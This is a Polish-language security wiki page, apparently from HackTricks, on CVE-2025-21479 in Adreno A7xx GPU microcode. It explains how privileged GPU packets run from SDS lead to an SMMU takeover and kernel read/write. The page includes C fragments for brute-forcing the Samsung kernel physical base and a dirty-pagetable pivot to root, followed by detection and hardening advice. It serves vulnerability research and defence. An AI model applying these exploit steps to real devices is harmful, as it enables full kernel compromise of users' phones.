Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ta strona abstrahuje rzeczywisty błąd logiki microcode w Adreno A7xx (CVE-2025-21479) do powtarzalnych technik eksploatacji: nadużywanie maskowania poziomów IB w Set Draw State (SDS) w celu wykonania uprzywilejowanych pakietów GPU z nieuprzywilejowanej aplikacji, pivotując do przejęcia GPU SMMU, a następnie do szybkiego, stabilnego kernel R/W przy użyciu dirty-pagetable trick.

  • Dotyczy: Qualcomm Adreno A7xx GPU firmware przed poprawką microcode, która zmieniła maskowanie rejestru $12 z 0x3 na 0x7.
  • Prymityw: Wykonanie uprzywilejowanych pakietów CP (np. CP_SMMU_TABLE_UPDATE) z SDS, które jest kontrolowane przez użytkownika.
  • Rezultat: dowolne R/W pamięci kernel (fizycznej/wirtualnej), wyłączenie SELinux, root.
  • Wymóg wstępny: Możliwość utworzenia kontekstu GPU KGSL i przesłania command buffers, które wchodzą w SDS (normalne uprawnienie aplikacji).

Tło: IB levels, SDS i maska $12

  • Jądro utrzymuje ringbuffer (RB=IB0). Userspace zgłasza IB1 przez CP_INDIRECT_BUFFER, łącząc do IB2/IB3.
  • SDS to specjalny strumień poleceń, do którego wchodzi się przez CP_SET_DRAW_STATE:
  • A6xx: SDS jest traktowane jako IB3
  • A7xx: SDS przeniesione do IB4
  • Microcode śledzi aktualny poziom IB w rejestrze $12 i filtruje uprzywilejowane pakiety tak, aby były akceptowane tylko, gdy efektywny poziom odpowiada IB0 (kernel RB).
  • Bug: A7xx microcode ciągle maskował $12 z 0x3 (2 bity) zamiast 0x7 (3 bity). Ponieważ IB4 & 0x3 == 0, SDS był błędnie identyfikowany jako IB0, co pozwalało na uprzywilejowane pakiety z kontrolowanego przez użytkownika SDS.

Dlaczego to ma znaczenie:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Przykład diff mikrokodu (patch zmienił maskę na 0x7):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Przegląd eksploatacji

Cel: Z poziomu SDS (błędnie odczytane jako IB0) issue uprzywilejowane CP packets, aby przekierować GPU SMMU na attacker-crafted page tables, a następnie użyć GPU copy/write packets do dowolnego fizycznego R/W. Na końcu pivot do szybkiego CPU-side R/W via dirty pagetable.

Wysokopoziomowy łańcuch

  • Przygotuj fałszywy GPU pagetable w pamięci współdzielonej
  • Wejdź do SDS i wykonaj:
  • CP_SMMU_TABLE_UPDATE -> przełącz na fałszywy pagetable
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> zaimplementuj prymitywy write/read
  • CP_SET_DRAW_STATE z run-now flags (dispatch immediately)

GPU R/W prymitywy via fake pagetable

  • Write: CP_MEM_WRITE do wybranego przez atakującego GPU VA, którego PTEs zmapujesz na wybrane PA -> dowolny fizyczny zapis
  • Read: CP_MEM_TO_MEM kopiuje 4/8 bajtów z docelowego PA do userspace-shared buffer (batch dla większych odczytów)

Uwagi

  • Każdy proces Android dostaje kontekst KGSL (IOCTL_KGSL_GPU_CONTEXT_CREATE). Przełączanie kontekstów normalnie aktualizuje SMMU tables w RB; błąd pozwala zrobić to w SDS.
  • Nadmierny ruch GPU może powodować zaniki UI i reboote; odczyty są małe (4/8B) i synchronizacja domyślnie jest wolna.

Budowanie sekwencji poleceń SDS

  • Umieść (spray) fałszywy GPU pagetable w pamięci współdzielonej tak, aby przynajmniej jedna instancja trafiła na znany physical address (np. przez allocator grooming i powtórzenia).
  • Zbuduj bufor SDS zawierający, w kolejności:
  1. CP_SMMU_TABLE_UPDATE do physical address fałszywego pagetable
  2. Jedna lub więcej paczek CP_MEM_WRITE i/lub CP_MEM_TO_MEM do implementacji R/W używając nowych translacji
  3. CP_SET_DRAW_STATE z flagami do run-now

Dokładne kodowania pakietów różnią się w zależności od firmware; użyj freedreno’s afuc/packet docs aby złożyć słowa, i upewnij się, że ścieżka submit SDS jest wywoływana przez driver.

Znajdowanie Samsung kernel physbase pod physical KASLR

Samsung randomizuje kernel physical base w znanym regionie na urządzeniach Snapdragon. Brute-force oczekiwany zakres i look for the first 16 bytes of _stext.

Przykładowa pętla

c
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

Gdy znany jest physbase, oblicz kernel virtual za pomocą liniowego odwzorowania:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

Stabilizowanie do szybkiego, niezawodnego po stronie CPU kernel R/W (dirty pagetable)

GPU R/W jest wolny i o małej granularności. Przełącz się na szybki/stabilny prymityw przez uszkodzenie własnych PTE procesu („dirty pagetable”):

Steps

  • Zlokalizuj bieżący task_struct -> mm_struct -> mm_struct->pgd używając wolnych prymitywów GPU R/W
  • mmap dwie sąsiednie strony w przestrzeni użytkownika A i B (np. pod 0x1000)
  • Przejdź PGD->PMD->PTE, aby odczytać fizyczne adresy PTE A i B (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • Nadpisz PTE B, aby wskazywał na last-level pagetable zarządzający A/B z atrybutami RW (phys_to_readwrite_pte)
  • Zapisuj przez VA B, aby zmodyfikować PTE A tak, by mapował docelowe PFN; czytaj/zapisuj pamięć jądra przez VA A, czyszcząc TLB aż sentinel zmieni stan
Przykład fragmentu dirty-pagetable pivot
c
uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx);
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map);
uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
uint64_t pmd_off = get_pmd_offset((uint64_t)map);
uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
uint64_t pte_off = get_pte_offset((uint64_t)map);
uint64_t pte_addr = phys_pte + pte_off;
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
while (page_map[0] == 0x4242424242424242) flush_tlb();

Wykrywanie i utwardzanie

  • Firmware/mikrokod: popraw wszystkie miejsca maskujące $12, aby używały 0x7 (A7xx) i przeprowadź audyt privileged packet gates
  • Sterownik: zweryfikuj efektywny poziom IB dla uprzywilejowanych pakietów i egzekwuj listy dozwolonych elementów na każdy kontekst
  • Telemetria: zgłaszaj alert, jeśli CP_SMMU_TABLE_UPDATE (lub podobne uprzywilejowane opcode'y) pojawi się poza RB/IB0, szczególnie w SDS; monitoruj anomalne serie 4/8-bajtowych CP_MEM_TO_MEM oraz nadmierne wzorce czyszczenia TLB
  • Jądro: wzmocnij metadane tablic stron i wykrywaj wzorce korupcji PTE pochodzące od użytkownika

Wpływ

Lokalna aplikacja z dostępem do GPU może wykonać uprzywilejowane pakiety GPU, przejąć GPU SMMU, uzyskać dowolny odczyt/zapis fizycznej/wirtualnej pamięci jądra, wyłączyć SELinux i zdobyć root na dotkniętych urządzeniach Snapdragon A7xx (np. Samsung S23). Ciężkość: Wysoka (kompromitacja jądra).

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks